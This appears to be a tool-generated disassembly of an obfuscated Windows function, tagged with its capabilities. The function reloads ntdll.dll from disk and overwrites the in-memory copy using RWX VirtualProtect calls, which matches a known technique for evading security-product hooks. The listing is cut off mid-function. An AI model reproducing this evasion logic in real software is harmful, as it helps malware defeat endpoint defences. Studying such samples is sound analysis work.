Function at 0x40e020
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x74
mov eax, dword [0x47c080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0x6ac1af61
sub edx, 1
sub edx, 0x6ac1af61
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x72], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x71], al
mov dword [ebp - 0x78], 0x2e8dc5d
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
sub eax, 0x83d436bf
je 0x40ef34
jmp 0x40e088
mov eax, dword [ebp - 0x7c]
sub eax, 0x85406ee4
je 0x40ea09
jmp 0x40e09b
mov eax, dword [ebp - 0x7c]
sub eax, 0x87078ce6
je 0x40eeb1
jmp 0x40e0ae
mov eax, dword [ebp - 0x7c]
sub eax, 0x891cb1d5
je 0x40ee34
jmp 0x40e0c1
mov eax, dword [ebp - 0x7c]
sub eax, 0x8d0839d3
je 0x40f30d
jmp 0x40e0d4
mov eax, dword [ebp - 0x7c]
sub eax, 0x8d35a1fa
je 0x40f332
jmp 0x40e0e7
mov eax, dword [ebp - 0x7c]
sub eax, 0x8e19ff17
je 0x40f323
jmp 0x40e0fa
mov eax, dword [ebp - 0x7c]
sub eax, 0x8f345175
je 0x40ef8a
jmp 0x40e10d
mov eax, dword [ebp - 0x7c]
sub eax, 0x9684694f
je 0x40e74b
jmp 0x40e120
mov eax, dword [ebp - 0x7c]
sub eax, 0x9ca4a82c
je 0x40e927
jmp 0x40e133
mov eax, dword [ebp - 0x7c]
sub eax, 0xa213510a
je 0x40ede6
jmp 0x40e146
mov eax, dword [ebp - 0x7c]
sub eax, 0xa3d74eb4
je 0x40e4ea
jmp 0x40e159
mov eax, dword [ebp - 0x7c]
sub eax, 0xb1ec874e
je 0x40ed51
jmp 0x40e16c
mov eax, dword [ebp - 0x7c]
sub eax, 0xb3fa7394
je 0x40f083
jmp 0x40e17f
mov eax, dword [ebp - 0x7c]
sub eax, 0xb528ffa1
je 0x40efe4
jmp 0x40e192
mov eax, dword [ebp - 0x7c]
sub eax, 0xb90260b6
je 0x40e9ee
jmp 0x40e1a5
mov eax, dword [ebp - 0x7c]
sub eax, 0xc03fb049
je 0x40f2fe
jmp 0x40e1b8
mov eax, dword [ebp - 0x7c]
sub eax, 0xc3f46df1
je 0x40e7a5
jmp 0x40e1cb
mov eax, dword [ebp - 0x7c]
sub eax, 0xc89fe0c9
je 0x40ea47
jmp 0x40e1de
mov eax, dword [ebp - 0x7c]
sub eax, 0xc9bb12a9
je 0x40e569
jmp 0x40e1f1
mov eax, dword [ebp - 0x7c]
sub eax, 0xcbd29cf8
je 0x40e4f6
jmp 0x40e204
mov eax, dword [ebp - 0x7c]
sub eax, 0xdcf069b8
je 0x40f0c8
jmp 0x40e217
mov eax, dword [ebp - 0x7c]
sub eax, 0xe1ed19f0
je 0x40f24f
jmp 0x40e22a
mov eax, dword [ebp - 0x7c]
sub eax, 0xe5be8c32
je 0x40f077
jmp 0x40e23d
mov eax, dword [ebp - 0x7c]
sub eax, 0xe849a1f1
je 0x40f0b6
jmp 0x40e250
mov eax, dword [ebp - 0x7c]
sub eax, 0xea1dbb0d
je 0x40ef96
jmp 0x40e263
mov eax, dword [ebp - 0x7c]
sub eax, 0xeaa23455
je 0x40ec19
jmp 0x40e276
mov eax, dword [ebp - 0x7c]
sub eax, 0xef0e83b4
je 0x40e88b
jmp 0x40e289
mov eax, dword [ebp - 0x7c]
sub eax, 0xfafe274b
je 0x40ec8c
jmp 0x40e29c
mov eax, dword [ebp - 0x7c]
sub eax, 0x872668
je 0x40f243
jmp 0x40e2af
mov eax, dword [ebp - 0x7c]
sub eax, 0x15bb03d
je 0x40e8a6
jmp 0x40e2c2
mov eax, dword [ebp - 0x7c]
sub eax, 0x2e8dc5d
je 0x40e41d
jmp 0x40e2d5
mov eax, dword [ebp - 0x7c]
sub eax, 0xb00d1e2
je 0x40e443
jmp 0x40e2e8
mov eax, dword [ebp - 0x7c]
sub eax, 0xb7bc6c9
je 0x40e8ba
jmp 0x40e2fb
mov eax, dword [ebp - 0x7c]
sub eax, 0x1fbb5852
je 0x40e757
jmp 0x40e30e
mov eax, dword [ebp - 0x7c]
sub eax, 0x2a07bde5
je 0x40eebd
jmp 0x40e321
mov eax, dword [ebp - 0x7c]
sub eax, 0x33f79b0d
je 0x40eb8c
jmp 0x40e334
mov eax, dword [ebp - 0x7c]
sub eax, 0x3e0f8c8a
je 0x40eb98
jmp 0x40e347
mov eax, dword [ebp - 0x7c]
sub eax, 0x3e4e676f
je 0x40eec9
jmp 0x40e35a
mov eax, dword [ebp - 0x7c]
sub eax, 0x3e54d1e0
je 0x40e8d9
jmp 0x40e36d
mov eax, dword [ebp - 0x7c]
sub eax, 0x4882844b
je 0x40f2a7
jmp 0x40e380
mov eax, dword [ebp - 0x7c]
sub eax, 0x5dacb6fb
je 0x40e763
jmp 0x40e393
mov eax, dword [ebp - 0x7c]
sub eax, 0x5eb14583
je 0x40f2f2
jmp 0x40e3a6
mov eax, dword [ebp - 0x7c]
sub eax, 0x5fb67258
je 0x40eab2
jmp 0x40e3b9
mov eax, dword [ebp - 0x7c]
sub eax, 0x70c05d71
je 0x40edda
jmp 0x40e3cc
mov eax, dword [ebp - 0x7c]
sub eax, 0x70ccdd75
je 0x40e818
jmp 0x40e3df
mov eax, dword [ebp - 0x7c]
sub eax, 0x734b5e15
je 0x40ecf7
jmp 0x40e3f2
mov eax, dword [ebp - 0x7c]
sub eax, 0x73a26d63
je 0x40ed03
jmp 0x40e405
mov eax, dword [ebp - 0x7c]
sub eax, 0x74fccc8b
je 0x40e785
jmp 0x40e418
jmp 0x40f359
mov al, byte [ebp - 0x72]
mov cl, byte [ebp - 0x71]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe849a1f1
mov ecx, 0xb00d1e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0x50f0eb2d
sub edx, 1
sub edx, 0x50f0eb2d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe849a1f1
mov ecx, 0xa3d74eb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0xcbd29cf8
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0x7998bd86
sub edx, 1
sub edx, 0x7998bd86
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdcf069b8
mov ecx, 0xc9bb12a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.00420020
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
mov eax, dword [ebp - 0x6c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov word [eax], 0
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0x5cfa560f
sub edx, 1
sub edx, 0x5cfa560f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdcf069b8
mov ecx, 0x9684694f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0x1fbb5852
jmp 0x40f359
mov dword [ebp - 0x78], 0x5dacb6fb
jmp 0x40f359
mov eax, dword [ebp - 0x4c]
movzx eax, word [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x34], ax
mov dword [ebp - 0x78], 0x74fccc8b
jmp 0x40f359
mov ax, word [ebp - 0x34]
movzx ecx, ax
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x31], al
mov dword [ebp - 0x78], 0xc3f46df1
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0x5e10cdbf
sub edx, 1
sub edx, 0x5e10cdbf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x872668
mov ecx, 0x70ccdd75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0xd181f612
sub edx, 1
sub edx, 0xd181f612
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x872668
mov ecx, 0xef0e83b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dl, byte [ebp - 0x31]
mov eax, 0x3e4e676f
mov ecx, 0x15bb03d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x78], 0xb7bc6c9
jmp 0x40f359
mov eax, dword [ebp - 0x30]
add eax, 0x6e0b20ff
add eax, 0x18
sub eax, 0x6e0b20ff
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x78], 0x3e54d1e0
jmp 0x40f359
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0xd29800c5
sub edx, 1
sub edx, 0xd29800c5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1ed19f0
mov ecx, 0x9ca4a82c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x4c]
movzx eax, word [eax]
imul eax, eax, 0x28
add ecx, 0x205b9afa
add ecx, eax
sub ecx, 0x205b9afa
mov eax, dword [ebp - 0x48]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ed3d
call fcn.00423920
add esp, 8
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x25], al
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1ed19f0
mov ecx, 0xb90260b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dl, byte [ebp - 0x25]
mov eax, 0x85406ee4
mov ecx, 0xeaa23455
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x78], 0xc89fe0c9
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4882844b
mov ecx, 0x5fb67258
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x18], eax
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4882844b
mov ecx, 0x33f79b0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0x3e0f8c8a
jmp 0x40f359
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x1c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00420180
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x64]
mov esi, dword [eax]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add esi, 0xc55ef083
add esi, eax
sub esi, 0xc55ef083
mov eax, dword [ebp - 0x44]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov dword [ebp - 0x78], 0xeaa23455
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
sub edx, 0xb68f7eec
sub edx, 1
add edx, 0xb68f7eec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5eb14583
mov ecx, 0xfafe274b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5eb14583
mov ecx, 0x734b5e15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0x73a26d63
jmp 0x40f359
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
sub edx, 0xf777d554
sub edx, 1
add edx, 0xf777d554
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc03fb049
mov ecx, 0xb1ec874e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x4c]
mov ax, word [eax]
add ax, 0xc3bc
add ax, 1
sub ax, 0xc3bc
mov word [ebp - 0x12], ax
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
sub edx, 0x23e0539e
sub edx, 1
add edx, 0x23e0539e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc03fb049
mov ecx, 0x70c05d71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0xa213510a
jmp 0x40f359
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
sub edx, 0x8b3bec8a
sub edx, 1
add edx, 0x8b3bec8a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d0839d3
mov ecx, 0x891cb1d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x4c]
mov cx, word [ebp - 0x12]
mov word [eax], cx
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0xbf83c7f
sub edx, 1
sub edx, 0xbf83c7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8d0839d3
mov ecx, 0x87078ce6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0x2a07bde5
jmp 0x40f359
mov dword [ebp - 0x78], 0x5dacb6fb
jmp 0x40f359
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8e19ff17
mov ecx, 0x83d436bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0x74483206
sub edx, 1
sub edx, 0x74483206
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e19ff17
mov ecx, 0x8f345175
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0xea1dbb0d
jmp 0x40f359
mov eax, dword [0x47d554]
mov ecx, dword [0x47d550]
mov edx, eax
add edx, 0xa96c897c
sub edx, 1
sub edx, 0xa96c897c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d35a1fa
mov ecx, 0xb528ffa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov eax, dword [ebp - 0x10]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x47d554]
mov eax, dword [0x47d550]
mov edx, ecx
add edx, 0x7e57388b
sub edx, 1
sub edx, 0x7e57388b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d35a1fa
mov ecx, 0xe5be8c32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f359
mov dword [ebp - 0x78], 0xb3fa7394
jmp 0x40f359
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041f310
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x78], 0xb00d1e2
jmp 0x40f359
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.00420020
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
mov eax, dword [ebp - 0x6c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
